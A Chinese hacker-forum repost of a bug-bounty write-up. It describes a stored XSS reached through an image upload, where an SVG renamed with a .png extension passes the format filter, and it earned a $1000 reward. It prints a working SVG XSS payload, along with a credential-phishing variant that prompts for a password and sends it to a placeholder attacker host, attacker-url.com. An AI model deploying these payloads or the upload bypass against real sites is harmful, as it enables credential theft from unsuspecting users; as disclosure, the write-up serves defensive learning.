跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

利用图片上传功能实现存储型XSS

精选回复

发布于

利用图片上传功能实现存储型XSS

6025d9787e661.png

在本文中,作者利用文件上传机制,构造形成存储型XSS(Stored XSS)漏洞实现密码凭据信息窃取,最终获得了$1000的奖励。以下是作者的发现过程。

漏洞发现

1、登录进入目标WEB应用;
2、手工枚举测试;
3、观察WEB应用样式:

1611565627_600e8a3b44066fab6bc3e.png!sma4、从中可以看到多个文本输入区域,我尝试了诸如sqli、xss、ssti等漏洞,都没问题。 但之后的Logo, Background Image 和 Advertisement Image图片上传点引起了我的注意,于是我决定构造一些特殊文件进行上传,看看有什么反应。 我随即构造了svg格式文件进行了上传:

1611565648_600e8a507c4beb1610887.png!sma5、 但上传后服务端却返回了以下错误响应:

1611565663_600e8a5f8f0b8a56aa735.png!sma6、那能否绕过格式限制呢?于是,我在文件名上做了手脚,把“Fileupload.svg”更改成“Fileupload.svg.png”再上传,竟然成功了:

1611565679_600e8a6f67471db70d2fa.png!sma7、之后,我点击上个界面中的“Next”,跳转到了另一个页面,在该页面中我可以访问到刚刚上传的图片,而且这些图片都是缩略图方式:

1611565695_600e8a7f86a9d946274c3.png!sma8、如上点击右键的“View Image”后,跳出了期待的svg xss:

1611565712_600e8a9052c00b6822d1d.png!sma

我构造的svg文件如下,其中包含了XSS Payload:

<?xml version=”1.0" standalone=”no”?>
<!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN” “http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version=”1.1" baseProfile=”full” xmlns=”http://www.w3.org/2000/svg">
<polygon id=”triangle” points=”0,0 0,50 50,0" fill=”#009901" stroke=”#004400"/>
<script type=”text/javascript”>
alert(document.cookie);
</script>
</svg>

改造一下,可在其中加入账号密码窃取Payload,最终如下:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>

        <script> 
                var passwd = prompt("Enter your password to continue");
                var xhr = new XMLHttpRequest();
                xhr.open("GET","https://attacker-url.com/log.php?password="+encodeURI(passwd));
                xhr.send();
        </script>

</svg>

9、再次把这些SVG文件上传:

1611565762_600e8ac23a95e901aa4b3.png!sma10、点击右键“View Image”访问上述svg文件:

1611565778_600e8ad292e6db4ca3f22.png!sma1611565796_600e8ae4d992ae8573545.png!sma11、跳出密码输入的XSS Payload提示框,点击输入密码后,可见密码被窃取:

1611565826_600e8b0209b2b6960541a.png!sma1611565835_600e8b0b0ff1825e86f8f.png!sma

漏洞奖励

漏洞最终获得了$1000的奖励。

1611565875_600e8b339f29449ec0e89.png!sma1611565884_600e8b3c865e964213714.png!sma参考来源:medium

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。